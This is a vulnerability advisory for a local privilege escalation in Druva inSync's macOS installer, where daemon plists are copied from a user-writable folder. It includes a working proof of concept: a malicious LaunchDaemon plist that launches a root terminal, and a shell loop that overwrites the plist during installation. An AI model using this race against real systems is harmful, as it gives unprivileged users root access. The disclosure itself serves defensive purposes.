Druva inSync Installer Privilege Escalation

Druva inSync Privilege Escalation via Installer

In the installation package for macOS provided by Druva (install inSync.pkg), the "postinstall" script included in the installer allows for privilege escalation from a normal user to root due to improper checking of the integrity of the LaunchDaemon scripts.

The plists used for these daemons are generated in a user-writable directory rather than an installer sandbox or some other privileged directory, which allows a lower-privileged user to overwrite these files during the installation process. These files later launch the daemons with root privileges.

Snippet from postinstall script:

# Prepare inSyncDecommission daemon for launch
DAEMONS_DIR=/Library/LaunchDaemons
cp "${APP}/Contents/Resources/inSyncDecommission.plist" ${DAEMONS_DIR}DECOM_DAEMON="${APP}/Contents/MacOS/inSyncDecommission"
DAEMON_PLIST=${DAEMONS_DIR}/inSyncDecommission.plist# Prepare inSyncUpgradeDaemon daemon for launch
cp "${APP}/Contents/Resources/inSyncUpgradeDaemon.plist" ${DAEMONS_DIR}UPGRADE_DAEMON="${APP}/Contents/MacOS/inSyncUpgradeDaemon"
UPGRADE_PLIST=${DAEMONS_DIR}/inSyncUpgradeDaemon.plist 

As a simple proof of concept, creating the following plist, running the shell commands, and then running the installer will cause the launch daemon to spawn a root shell instead of the desired inSync service.

It should be noted that the LaunchAgents later in the script are also affected by this issue, but with a less severe impact as they only provide a persistence mechanism rather than elevated privileges.

Sample malicious plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>KeepAlive</key>
	<true/>
	<key>Label</key>
	<string>com.druva.inSyncDecom</string>
	<key>ProgramArguments</key>
	<array>
		<string>/Applications/iTerm.app/Contents/MacOS/iTerm2</string>
	</array>
	<key>RunAtLoad</key>
	<true/>
</dict>
</plist>

Sample shell commands:

while true; do                                                                                                                                                                                                     
    mkdir -p /Applications/Druva\ inSync.app/Contents/Resources;
    yes | cp -f /tmp/insync.plist /Applications/Druva\ inSync.app/Contents/Resources/inSyncDecommission.plist
done